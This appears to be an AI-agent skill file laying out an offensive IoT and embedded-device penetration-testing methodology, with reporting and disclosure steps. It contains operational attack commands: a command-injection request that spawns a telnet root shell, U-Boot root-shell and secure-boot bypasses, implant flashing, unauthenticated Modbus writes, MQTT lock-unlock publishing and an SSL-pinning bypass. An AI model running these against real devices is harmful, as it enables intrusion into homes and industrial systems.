offensive-iot

by SnailSploit

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SKILL.md About

---
name: offensive-iot
description: "IoT and embedded device security testing methodology. Covers hardware reconnaissance (UART, JTAG, SWD, SPI flash, I2C EEPROM, eMMC chip-off), firmware acquisition (vendor portals, OTA capture, flash dump, binwalk extraction), firmware analysis (filesystem mounting, binary triage, hardcoded secrets, default credential discovery), bootloader attacks (U-Boot console, secure-boot bypass, fault injection), runtime attacks on embedded Linux/RTOS (busybox CVEs, MTD writes, /dev/mem), wireless protocol attacks (Zigbee, BLE, Z-Wave, LoRaWAN, Thread/Matter, sub-GHz), MQTT/CoAP/Modbus/BACnet/OPC-UA exploitation, mobile companion app analysis, cloud-IoT API abuse, and side-channel/glitching basics. Use for IoT pentest, smart-home assessment, ICS/OT testing, or embedded vulnerability research."
---

# IoT & Embedded — Offensive Testing Methodology

## Quick Workflow

1. **Recon the device physically** — identify SoC, flash, debug interfaces, radios
2. **Get the firmware** — vendor download, OTA capture, hardware dump, or chip-off
3. **Unpack and analyze** — filesystems, services, secrets, default creds, vuln components
4. **Establish runtime access** — UART shell, telnet/SSH default creds, exploit chain
5. **Pivot** — to companion app, cloud API, neighboring devices via mesh / wireless

---

## Hardware Reconnaissance

### PCB Inspection

- ID the **SoC** by markings (Realtek, Mediatek, Espressif, Broadcom, Allwinner, NXP, STM32, etc.)
- ID **flash** (8-pin SOIC = SPI NOR; BGA = eMMC; TSOP = NAND)
- Find **debug headers**: TX/RX/GND/VCC pads (UART), 4–10 pin (JTAG), 4 pin (SWD)
- Find test points labeled `TX`, `RX`, `TCK`, `TMS`, `TDO`, `TDI`, `RST`, `BOOT`

### Tools

| Tool | Use |
|------|-----|
| Multimeter | Identify GND, VCC rails before connecting |
| Logic analyzer (Saleae, DSLogic) | Find UART baud, SPI clock, identify protocols |
| USB-UART (FT232, CP2102) | UART console |
| Bus Pirate / Glasgow | UART, SPI, I2C, JTAG generic |
| J-Link / Black Magic Probe | JTAG / SWD MCU debugging |
| CH341A programmer | Cheap SPI flash dumper |
| XGecu T48 | Modern universal programmer (NAND/eMMC/SPI) |
| ChipQuik / hot-air | Chip-off desolder |

### UART Discovery

```bash
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
  echo "=== $b ==="
  timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log
```

Look for: U-Boot console (often `Hit any key` countdown), Linux init messages, root shell on console, login prompt.

### Bootloader Console Drop

```
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot:  0
=> printenv                   # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot                       # Linux comes up to root shell, no login
```

If U-Boot is locked, try:
- `CONFIG_DELAY_AUTOBOOT_KEYED` keyword (vendor-specific)
- `Ctrl+C` / `Ctrl+B` / specific magic strings
- Glitch the U-Boot version-check / signature-check (see Fault Injection)

---

## Flash Dumping

### SPI NOR (most common consumer IoT)

```bash
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin

# Verify
file firmware.bin && binwalk firmware.bin
```

If the SoC fights you: desolder the SPI chip, dump in socket, re-solder.

### eMMC / NAND

eMMC is desolder-then-read: BGA-153/169 to SD adapter (cheap eBay), use a USB SD reader.

NAND requires bit-flipping and ECC handling — `nanddump`/`yaffshiv`/`ubireader` post-extraction.

### OTA Capture

Many devices fetch firmware over HTTP(S). MITM the device:

```bash
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS
```

Capture the URL, download directly, dissect.

---

## Firmware Analysis

### Initial Triage

### Filesystem Mounting

```bash
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin

# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs
```

### Embedded-Linux Quick Wins

# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/

# Setuid binaries
find rootfs -perm -4000 -type f

# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "

# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
```

### CGI / Web Admin Auditing

GoAhead, Boa, mini_httpd — abandoned codebases, command injection on every other CGI parameter.

```bash
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi
```

Common patterns:
- `system()` / `popen()` with concatenated query string args
- `sprintf` then `system` — easy command injection
- Auth check via comparing cookie to plaintext file (race / replay)

---

## Runtime Exploitation

### Console / Telnet Default Creds

Try (per device class): `admin/admin`, `root/root`, `root/<empty>`, `admin/password`, `support/support`, `cisco/cisco`, vendor brand as user/pass. **Always try `root/<serial number>`** — many vendors use a per-device default.

### Web Admin Command Injection

```http
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
```

### MTD Writes (re-flash from runtime)

If you have a root shell:

```bash
cat /proc/mtd          # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
```

### /dev/mem

On older kernels without `CONFIG_STRICT_DEVMEM`, `/dev/mem` is read/write to physical memory — full system compromise from any root context.

---

## Bootloader / Secure Boot Attacks

### U-Boot Quick Bypasses

- `setenv bootargs ${bootargs} init=/bin/sh`
- `setenv preboot 'echo 1 > /sys/...'` (run command before kernel)
- `tftpboot` — load attacker kernel from network
- `bootm` of a memory-resident image you `loadb`-uploaded over UART

### Secure Boot

Modern devices verify signed bootloaders / kernels. Bypass paths:

- **Downgrade**: flash an older signed image with known kernel-level CVE
- **Rollback bypass**: anti-rollback fuses not blown → flash older signed
- **Key extraction**: dump the OTP / fuse contents via vendor tooling, recover signing key
- **Fault injection**: glitch the signature-check instruction (see below)

### Fault Injection (Voltage / Clock Glitching)

```
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
  1. Locate target instruction window via UART timing or power trace
  2. Apply glitch (V drop / EM pulse) at that offset
  3. Sweep delay and width; success = corrupted check, accepted unsigned image
```

---

## RTOS Targets

| RTOS | Notes |
|------|-------|
| FreeRTOS | Single binary, no MMU often → stack overflow → straight RIP control |
| Zephyr | MMU/MPU optional; verify isolation actually enabled |
| ThreadX | Microsoft now, mostly closed |
| MicroEJ / Mbed OS | Java/C mix — type confusion and JNI bridges |
| ESP-IDF (Espressif) | Wi-Fi/BLE stacks, OTA chain, secure boot v2 |
| QNX | Older versions: pdebug shell on serial = root |

### MCU Reverse Engineering

```bash
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
  -c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"

# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"

# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)
```

---

## Wireless Protocols

### Bluetooth Low Energy (BLE)

```bash
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"

# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
```

Attack surface: characteristic write without auth, pairing downgrade ("Just Works" forced), session key reuse, app-side TLS-equivalent missing.

### Zigbee / Thread / Matter

```bash
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap

# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0
```

Touchlink commissioning: known transport key in the wild (`0x9F559A553B7A6B2C…`) — many consumer devices accept Touchlink commissioning from any nearby radio.

### Z-Wave

S0 security uses fixed network-key derivation; S2 fixes this. Older bulbs / locks still on S0 are attackable with `Z-Force` / `EZ-Wave`.

### LoRaWAN

- ABP-provisioned devices: keys flashed once and never rotated
- Join-request replay if frame counters reset
- `LoRaPWN`, `ChirpStack` for analysis

### Sub-GHz (433 / 868 / 915 MHz)

```bash
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A   # auto-decoder for many devices
gqrx                     # interactive

# Capture, analyze in Inspectrum, replay with hackrf_transfer
```

Targets: garage doors (KeeLoq rolling-code analysis), smart plugs (fixed code = easy replay), tire-pressure monitors (TPMS spoofing), industrial telemetry.

---

## ICS / OT Protocols

### Modbus

```python
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1)    # No auth in the protocol
```

### BACnet (Building Automation)

```bash
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments
```

### OPC-UA

Modern OPC-UA has security profiles; many deployments use `None` for compatibility. Test:
- Anonymous browsing of address space (information disclosure)
- Username/password endpoints with weak creds
- Cert-based but with self-signed accepted

### S7 (Siemens)

Snap7 library; PLC start/stop, DB read/write commands historically unauthenticated. Stuxnet's surface.

---

## MQTT / CoAP

### MQTT Anonymous Subscribe

```bash
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'
```

Many cloud brokers don't restrict topic ACL by default — connect with empty creds, subscribe `#`, replay device commands.

### CoAP

```bash
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
```

DTLS often misconfigured (PSK in firmware, no rotation).

---

## Companion Mobile App / Cloud API

Most IoT vulns today live in the **cloud + companion app pair**, not the device itself.

```bash
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk

# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app
```

Test the cloud API for:
- Device claim by serial number alone (steal devices already shipped)
- IDOR on `/devices/<id>` endpoints
- Live-stream URLs without auth (RTSP / WebRTC tokens)
- Firmware signing endpoint accepting attacker-uploaded blobs (rare but devastating)

---

## Pivoting Across Devices

- Compromise one device on the LAN → ARP/DHCP poison neighbors
- Mesh-protocol bridges (Zigbee coordinator, Z-Wave hub) → adjacent device control
- BLE central role swap → talk directly to peripherals as the legitimate hub
- Cloud account compromise → all devices linked to the account simultaneously

---

## Reporting Hooks

For each finding capture:
- **Affected scope**: model, firmware version, region, serial-number range if known
- **Reproducer**: physical or remote, time-to-exploit
- **Pre-conditions**: physical access? same network? authenticated cloud account?
- **Post-conditions**: persistent? cross-device? cloud-side?
- **Vendor disclosure path**: PSIRT contact, ICS-CERT, MITRE for CVE assignment

---

## Engagement Checklist

```
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure
```

---

## Key References

- MITRE ATT&CK for ICS — TA0108 (Initial Access), TA0104 (Execution)
- OWASP ISVS / IoT Top 10
- Embedded Security CTF (microcorruption.com) — practice MCU exploitation
- IoT Hackers Handbook (Aditya Gupta) — canonical methodology
- CISA ICS-CERT advisory feed
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.md